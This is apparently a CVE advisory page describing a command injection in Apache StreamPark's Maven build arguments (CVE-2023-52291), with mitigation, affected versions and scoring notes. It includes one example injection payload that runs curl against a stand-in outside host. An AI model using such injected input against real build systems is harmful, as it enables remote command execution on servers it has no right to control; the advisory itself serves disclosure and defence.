StreamPark < Operator Command Injection (CVE-2023-52291) Pre-2.1.4
CVE-2023-52291 Published on July 17, 2024
Apache StreamPark (incubating): Unchecked maven build params could trigger remote command execution
In streampark, the project module integrates Maven's compilation capabilities. The input parameter validation is not strict, allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.
Background:
In the "Project" module, the maven build args < operator causes command injection. e.g : < (curl http://xxx.com ) will be executed as a command injection,
Mitigation:
all users should upgrade to 2.1.4, The "<" operator will blocked?
Vulnerability Analysis
CVE-2023-52291 can be exploited with network access, requires user interaction. This vulnerability is considered to have a low attack complexity. The potential impact of an exploit of this vulnerability is considered to be very high.
Weakness Type
What is a Command Injection Vulnerability?
The software constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
CVE-2023-52291 has been classified to as a Command Injection vulnerability or weakness.
Products Associated with CVE-2023-52291
Want to know whenever a new CVE is published for Apache Streampark? stack.watch will email you.
Affected Versions
Apache Software Foundation Apache StreamPark (incubating):- Version 2.0.0 and below 2.1.4 is affected.
- Version 2.0.0 and below 2.1.4 is affected.
Exploit Probability
EPSS (Exploit Prediction Scoring System) scores estimate the probability that a vulnerability will be exploited in the wild within the next 30 days. The percentile shows you how this score compares to all other vulnerabilities.